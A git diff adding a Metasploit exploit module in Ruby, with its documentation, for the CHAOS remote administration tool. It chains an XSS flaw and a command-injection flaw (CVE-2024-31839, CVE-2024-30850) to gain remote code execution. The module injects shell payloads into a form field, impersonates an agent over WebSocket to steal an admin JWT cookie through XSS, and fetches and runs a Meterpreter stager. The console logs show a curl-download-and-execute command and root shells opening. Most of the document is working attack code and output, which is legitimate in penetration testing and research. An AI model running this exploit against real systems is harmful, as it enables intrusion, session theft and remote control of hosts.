diff --git a/documentation/modules/exploit/linux/http/chaos_rat_xss_to_rce.md b/documentation/modules/exploit/linux/http/chaos_rat_xss_to_rce.md new file mode 100644 index 000000000000..fc81fbf5b033 --- /dev/null +++ b/documentation/modules/exploit/linux/http/chaos_rat_xss_to_rce.md @@ -0,0 +1,267 @@ +## Vulnerable Application + +CHAOS v5.0.8 is a free and open-source Remote Administration Tool that +allows generated binaries to control remote operating systems. The +webapp contains a remote command execution vulnerability which +can be triggered by an authenticated user when generating a new +executable. The webapp also contains an XSS vulnerability within +the view of a returned command being executed on an agent. + +Execution can happen through one of three routes: + +1. Provided credentials can be used to execute the RCE directly +2. A `JWT` token from an agent can be provided to emulate a compromised +host. If a logged in user attempts to execute a command on the host +the returned value contains an xss payload. +3. Similar to technique 2, an agent executable can be provided and the +`JWT` token can be extracted. + +Verified against CHAOS `7d5b20ad7e58e5b525abdcb3a12514b88e87cef2` running +in a docker container. + +### Install + +Docker image: `docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ -e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest` + +To generate an agent, login (`admin`:`admin`). Click the triple lines +to expand the menu, select `Manage`, `Generate Client`. Click `Build`. + +## Verification Steps + +1. Install the application or run the docker image +1. Start msfconsole +1. Do: `use exploit/linux/http/chaos_rat_xss_to_rce` +1. Do: `set rhost [ip]` +1. Pick a method: + 1. `set username [username]`, `set password [password]` + 2. `set jwt [jwt token]` + 3. `set agent [path to agent]` +1. Do: `run` +1. You should get a shell. Interaction by a CHAOS admin may be required + +## Options + +### USERNAME + +User to login with, default for CHAOS is `admin`. + +### PASSWORD + +Password to login with, default for CHAOS is `admin`. + +### JWT + +JWT token from an agent. Used to emulate a compromised +host. + +### AGENT + +The path to an agent executable generated by CHAOS. Used to emulate a compromised host. + +## Advanced Options + +### AGENT_HOSTNAME + +Hostname for a fake agent. Defaults to `DC01`. + +### AGENT_USERNAME + +Username for a fake agent. Defaults to `Administrator`. + +### AGENT_USERID + +User ID for a fake agent. Defaults to `Administrator`. + +### AGENT_OS + +OS for a fake agent. Choices are `Windows`, or `Linux`. +Defaults to `Windows`. + +## Scenarios + +### Docker Image + +#### Agent Method + +``` +[*] Processing chaos.rb for ERB directives. +resource (chaos.rb)> use exploit/linux/http/chaos_rat_xss_to_rce +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +resource (chaos.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (chaos.rb)> set FETCH_SRVPORT 9090 +FETCH_SRVPORT => 9090 +resource (chaos.rb)> set agent malware2.exe +agent => malware2.exe +resource (chaos.rb)> set SRVHOST 111.111.10.147 +SRVHOST => 111.111.10.147 +resource (chaos.rb)> set SRVPORT 8888 +SRVPORT => 8888 +resource (chaos.rb)> set verbose true +verbose => true +msf6 exploit(linux/http/chaos_rat_xss_to_rce) > exploit + +[*] Command to run on remote host: curl -so ./SPSVaaJxd http://111.111.10.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./SPSVaaJxd; ./SPSVaaJxd & +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/chaos_rat_xss_to_rce) > +[*] Fetch handler listening on 111.111.10.147:9090 +[*] HTTP server started +[*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw +[*] Started reverse TCP handler on 111.111.10.147:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Chaos application found +[*] Attempting exploitation through Agent +[*] Server address: 172.17.0.2 +[*] Server port: 8080 +[*] Server JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3NDQ4MDY5MzgsInVzZXIiOiJkZWZhdWx0In0.3zlOZ8RI_YdDqEgNbt20oL7R30Ry5JgwJVCEqx0WSUA +[*] Fake MAC for agent: f8:16:5a:23:5b:74 +[*] Listening for XSS response on: http://111.111.10.147:8888/ +[*] Performing Callback Checkin +[*] WebSocket connecting to receive commands +[*] Performing Callback Checkin +``` + +Log in to the website, click `Acion`, `Remote Shell` on the +fake agent we've added to the list. Now type anything into +the input box and click `Send`. + +``` +[+] Received agent command 'id', sending XSS in return +[*] Received GET request. +[+] Received cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzA0ODksIm9yaWdfaWF0IjoxNzEzMzY2ODg5LCJ1c2VyIjoiYWRtaW4ifQ.qGbOOAc8RG6Hsd2SJKzGVAczJJ7KwEI2MxdIojM06d4 +[+] Detected Agents +Live Agents +=========== + + IP OS Username Hostname MAC + -- -- -------- -------- --- + 111.111.1 Windows Administra DC01 86:89:42:d1:dc + 1.147 tor (Admin :a7 + istrator) + 111.111.1 Windows Administra DC01 f8:16:5a:23:5b + 1.147 tor (Admin :74 + istrator) + +[*] Client 172.17.0.2 requested /mh1dne7HFFTZ0wiiiWgmfw +[*] Sending payload to 172.17.0.2 (curl/7.74.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (111.111.10.147:4444 -> 172.17.0.2:41290) at 2024-04-17 15:19:22 +0000 + +msf6 exploit(linux/http/chaos_rat_xss_to_rce) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Debian 11.4 (Linux 5.19.0-43-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +#### JWT Method + +``` +[*] Processing chaos.rb for ERB directives. +resource (chaos.rb)> use exploit/linux/http/chaos_rat_xss_to_rce +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +resource (chaos.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (chaos.rb)> set FETCH_SRVPORT 9090 +FETCH_SRVPORT => 9090 +resource (chaos.rb)> set jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzA0ODksIm9yaWdfaWF0IjoxNzEzMzY2ODg5LCJ1c2VyIjoiYWRtaW4ifQ.qGbOOAc8RG6Hsd2SJKzGVAczJJ7KwEI2MxdIojM06d4 +jwt => eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzA0ODksIm9yaWdfaWF0IjoxNzEzMzY2ODg5LCJ1c2VyIjoiYWRtaW4ifQ.qGbOOAc8RG6Hsd2SJKzGVAczJJ7KwEI2MxdIojM06d4 +resource (chaos.rb)> set SRVHOST 111.111.63.147 +SRVHOST => 111.111.63.147 +resource (chaos.rb)> set SRVPORT 8888 +SRVPORT => 8888 +resource (chaos.rb)> set verbose true +verbose => true +msf6 exploit(linux/http/chaos_rat_xss_to_rce) > exploit + +[*] Command to run on remote host: curl -so ./HVHYAPykfOV http://111.111.63.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./HVHYAPykfOV; ./HVHYAPykfOV & +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/chaos_rat_xss_to_rce) > +[*] Fetch handler listening on 111.111.63.147:9090 +[*] HTTP server started +[*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw +[*] Started reverse TCP handler on 111.111.63.147:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Chaos application found +[*] Attempting exploitation through JWT token +[*] Fake MAC for agent: d9:74:62:8e:fc:43 +[*] Listening for XSS response on: http://111.111.63.147:8888/ +[*] Performing Callback Checkin +[*] WebSocket connecting to receive commands +``` + +Log in to the website, click `Acion`, `Remote Shell` on the +fake agent we've added to the list. Now type anything into +the input box and click `Send`. + +``` +[+] Received agent command 'whoami', sending XSS in return +[*] Received GET request. +[+] Received cookie: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTMzNzEwMTAsIm9yaWdfaWF0IjoxNzEzMzY3NDEwLCJ1c2VyIjoiYWRtaW4ifQ.K-DCy8qNaxAHVx2Hu_Z-Ff7ZEG_TWkaount8wEM0clk +[+] Detected Agents +Live Agents +=========== + + IP OS Username Hostname MAC + -- -- -------- -------- --- + 111.111.63 Windows Administrat DC01 d9:74:62:8e:fc + .147 or (Adminis :43 + trator) + +[*] Client 172.17.0.2 requested /mh1dne7HFFTZ0wiiiWgmfw +[*] Sending payload to 172.17.0.2 (curl/7.74.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (111.111.63.147:4444 -> 172.17.0.2:55572) at 2024-04-17 15:32:59 +0000 +``` + +### Credentialed Method + +``` +[*] Processing chaos.rb for ERB directives. +resource (chaos.rb)> use exploit/linux/http/chaos_rat_xss_to_rce +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +resource (chaos.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (chaos.rb)> set FETCH_SRVPORT 9090 +FETCH_SRVPORT => 9090 +resource (chaos.rb)> set username admin +username => admin +resource (chaos.rb)> set password admin +password => admin +resource (chaos.rb)> set SRVHOST 111.111.63.147 +SRVHOST => 111.111.63.147 +resource (chaos.rb)> set SRVPORT 8888 +SRVPORT => 8888 +resource (chaos.rb)> set verbose true +verbose => true +msf6 exploit(linux/http/chaos_rat_xss_to_rce) > exploit + +[*] Command to run on remote host: curl -so ./FdfcLgdHSudl http://111.111.63.147:9090/mh1dne7HFFTZ0wiiiWgmfw; chmod +x ./FdfcLgdHSudl; ./FdfcLgdHSudl & +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/chaos_rat_xss_to_rce) > +[*] Fetch handler listening on 111.111.63.147:9090 +[*] HTTP server started +[*] Adding resource /mh1dne7HFFTZ0wiiiWgmfw +[*] Started reverse TCP handler on 111.111.63.147:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Chaos application found +[*] Attempting exploitation through direct login +[*] Attempting login +[*] Client 172.17.0.2 requested /mh1dne7HFFTZ0wiiiWgmfw +[*] Sending payload to 172.17.0.2 (curl/7.74.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Meterpreter session 1 opened (111.111.63.147:4444 -> 172.17.0.2:59770) at 2024-04-17 15:40:11 +0000 + diff --git a/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb b/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb new file mode 100644 index 000000000000..bc696c880e64 --- /dev/null +++ b/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb @@ -0,0 +1,418 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Rex::Proto::Http::WebSocket + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Chaos RAT XSS to RCE', + 'Description' => %q{ + CHAOS v5.0.8 is a free and open-source Remote Administration Tool that + allows generated binaries to control remote operating systems. The + webapp contains a remote command execution vulnerability which + can be triggered by an authenticated user when generating a new + executable. The webapp also contains an XSS vulnerability within + the view of a returned command being executed on an agent. + + Execution can happen through one of three routes: + + 1. Provided credentials can be used to execute the RCE directly + + 2. A JWT token from an agent can be provided to emulate a compromised + host. If a logged in user attempts to execute a command on the host + the returned value contains an xss payload. + + 3. Similar to technique 2, an agent executable can be provided and the + JWT token can be extracted. + + Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running + in a docker container. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'chebuya' # original PoC, analysis + ], + 'References' => [ + [ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'], + [ 'URL', 'https://github.com/tiagorlampert/CHAOS'], + [ 'CVE', '2024-31839'], # XSS + [ 'CVE', '2024-30850'] # RCE + ], + 'Platform' => ['linux', 'unix'], + 'Privileged' => false, + 'Payload' => { 'BadChars' => ' ' }, + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DefaultOptions' => { + 'WfsDelay' => 3_600, # 1hr + 'URIPATH' => '/' # avoid long URLs in xss payloads + }, + 'DisclosureDate' => '2024-04-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_options( + [ + Opt::RPORT(8080), + OptString.new('USERNAME', [ false, 'User to login with']), # admin + OptString.new('PASSWORD', [ false, 'Password to login with']), # admin + OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']), + OptString.new('JWT', [ false, 'Agent JWT Token of the malware']), + OptPath.new('AGENT', [ false, 'A Chaos Agent Binary']) + ] + ) + register_advanced_options( + [ + OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']), + OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']), + OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']), + OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]), + ] + ) + end + + def on_request_uri(cli, request) + if request.method == 'GET' && @xss_response_received == false + vprint_status('Received GET request.') + return unless request.uri.include? '=' + + cookie = request.uri.split('jwt=')[1] + print_good("Received cookie: #{cookie}") + send_response_html(cli, '') + @xss_response_received = true + list_agents(cookie) + rce(cookie) + end + send_response_html(cli, '') + end + + def mac_address + @mac_address ||= Faker::Internet.mac_address + @mac_address + end + + def check + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + ) + + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200 + + return CheckCode::Detected('Chaos application found') if res.body.include?('CHAOS') + + CheckCode::Safe('Chaos application not found') + end + + def login + vprint_status('Attempting login') + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'auth'), + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 + res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || '' + end + + def rce(cookie) + data = Rex::MIME::Message.new + + data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"') + data.add_part('8080', nil, nil, 'form-data; name="port"') + data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux + data.add_part('', nil, nil, 'form-data; name="filename"') + data.add_part('false', nil, nil, 'form-data; name="run_hidden"') + + post_data = data.to_s + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'generate'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => "jwt=#{cookie}" + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200 + end + + def convert_to_int_array(string) + string.bytes.to_a + end + + # Retrieve the server's response and pull out the command response. The return value is + # the server's response value (or 1 on failure). + def recv_wsframe_status(wsock) + res = wsock.get_wsframe + return 1 unless res + + begin + res_json = JSON.parse(res.payload_data) + rescue JSON::ParserError + fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.') + end + command = res_json['command'] + return 1 if command.nil? + + command + end + + def agent_command_handler(cookie) + vprint_status('WebSocket connecting to receive commands') + headers = { + 'Cookie' => "jwt=#{cookie}", + 'X-Client' => mac_address + } + + wsock = connect_ws( + 'uri' => normalize_uri(target_uri.path, 'client'), + 'headers' => headers + ) + + start_time = Time.now.to_i + command = 1 + while Time.now.to_i < start_time + datastore['WfsDelay'] + begin + Timeout.timeout(datastore['WfsDelay']) do + command = recv_wsframe_status(wsock) + end + rescue Timeout::Error + command = 1 + end + + next if command == 1 + + vprint_good("Received agent command '#{command}', sending XSS in return") + + data = { + 'client_id' => mac_address, + # removed the rickroll from the PoC :( + 'response' => convert_to_int_array(""), + 'has_error' => false + } + wsock.put_wsbinary(JSON.generate(data)) + end + print_status('Stopping WebSocket connection') + end + + def agent_callback_checkin(cookie) + start_time = Time.now.to_i + while Time.now.to_i < start_time + datastore['WfsDelay'] + print_status('Performing Callback Checkin') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'health'), + 'cookie' => "jwt=#{cookie}" + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200 + + body = { + hostname: datastore['AGENT_HOSTNAME'], + username: datastore['AGENT_USERNAME'], + user_id: datastore['AGENT_USERID'], + os_name: datastore['AGENT_OS'], + os_arch: 'amd64', + mac_address: mac_address, + local_ip_address: datastore['SRVHOST'], + port: datastore['SRVPORT'].to_s, + fetched_unix: Time.now.to_i + } + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'device'), + 'cookie' => "jwt=#{cookie}", + 'data' => body.to_json + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200 + Rex.sleep(30) + end + print_status('Stopping Callback Checkin') + end + + def fake_agent(server_cookie) + # start callback checkins and command handler + @threads = [] + @threads << framework.threads.spawn('CHAOS-agent-callback', false) do + agent_callback_checkin(server_cookie) + end + @threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do + agent_command_handler(server_cookie) + end + @threads.map do |t| + t.join + rescue StandardError => e + print_error("Error in CHAOS Rat Threads: #{e}") + end + end + + # + # Handle the HTTP request and return a response. Code borrowed from: + # msf/core/exploit/http/server.rb + # + def start_http_service(opts = {}) + # Start a new HTTP server + @http_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + (opts['ServerPort'] || bindport).to_i, + opts['ServerHost'] || bindhost, + datastore['SSL'], + { + 'Msf' => framework, + 'MsfExploit' => self + }, + opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), + datastore['SSLCert'], + datastore['SSLCompression'], + datastore['SSLCipher'], + datastore['SSLVersion'] + ) + @http_service.server_name = datastore['HTTP::server_name'] + # Default the procedure of the URI to on_request_uri if one isn't + # provided. + uopts = { + 'Proc' => method(:on_request_uri), + 'Path' => resource_uri + }.update(opts['Uri'] || {}) + proto = (datastore['SSL'] ? 'https' : 'http') + + netloc = opts['ServerHost'] || bindhost + http_srvport = (opts['ServerPort'] || bindport).to_i + if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) + if Rex::Socket.is_ipv6?(netloc) + netloc = "[#{netloc}]:#{http_srvport}" + else + netloc = "#{netloc}:#{http_srvport}" + end + end + print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}") + + # Add path to resource + @service_path = uopts['Path'] + @http_service.add_resource(uopts['Path'], uopts) + end + + def list_agents(cookie) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'devices'), + 'headers' => { + 'cookie' => "jwt=#{cookie}" + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + soup = Nokogiri::HTML(res.body) + rows = soup.css('tr') + + agent_table = Rex::Text::Table.new( + 'Header' => 'Live Agents', + 'Indent' => 1, + 'Columns' => + [ + 'IP', + 'OS', + 'Username', + 'Hostname', + 'MAC' + ] + ) + + rows.each do |row| + cells = row.css('td') + next if cells.length != 7 + + agent_ip = cells[4].text.strip + hostname = cells[1].text.strip + + agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip] + report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}") + end + print_good('Detected Agents') + print_line(agent_table.to_s) + end + + def exploit + unless (datastore['USERNAME'] && datastore['PASSWORD']) || + datastore['JWT'] || + datastore['AGENT'] + fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required') + end + fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + + @xss_response_received = false + + if datastore['USERNAME'] && datastore['PASSWORD'] + print_status('Attempting exploitation through direct login') + cookie = login + rce(cookie) + elsif datastore['JWT'] + print_status('Attempting exploitation through JWT token') + vprint_status("Fake MAC for agent: #{mac_address}") + start_http_service + fake_agent(datastore['JWT']) + elsif datastore['AGENT'] + print_status('Attempting exploitation through Agent') + fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT']) + agent_exe = File.read(datastore['AGENT']) + if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/ + server_address = ::Regexp.last_match(1) + vprint_status("Server address: #{server_address}") + end + + if agent_exe =~ /main\.Port=(\d{1,6})/ + server_port = ::Regexp.last_match(1) + vprint_status("Server port: #{server_port}") + end + + if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)} + server_cookie = ::Regexp.last_match(1) + vprint_status("Server JWT Token: #{server_cookie}") + end + fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie + vprint_status("Fake MAC for agent: #{mac_address}") + start_http_service + fake_agent(server_cookie) + end + end + + def cleanup + # Clean and stop HTTP server + if @http_service + begin + @http_service.remove_resource(datastore['URIPATH']) + @http_service.deref + @http_service.stop + @http_service = nil + rescue StandardError => e + print_error("Failed to stop http server due to #{e}") + end + end + @threads.each(&:kill) unless @threads.nil? # no need for these anymore + super + end +end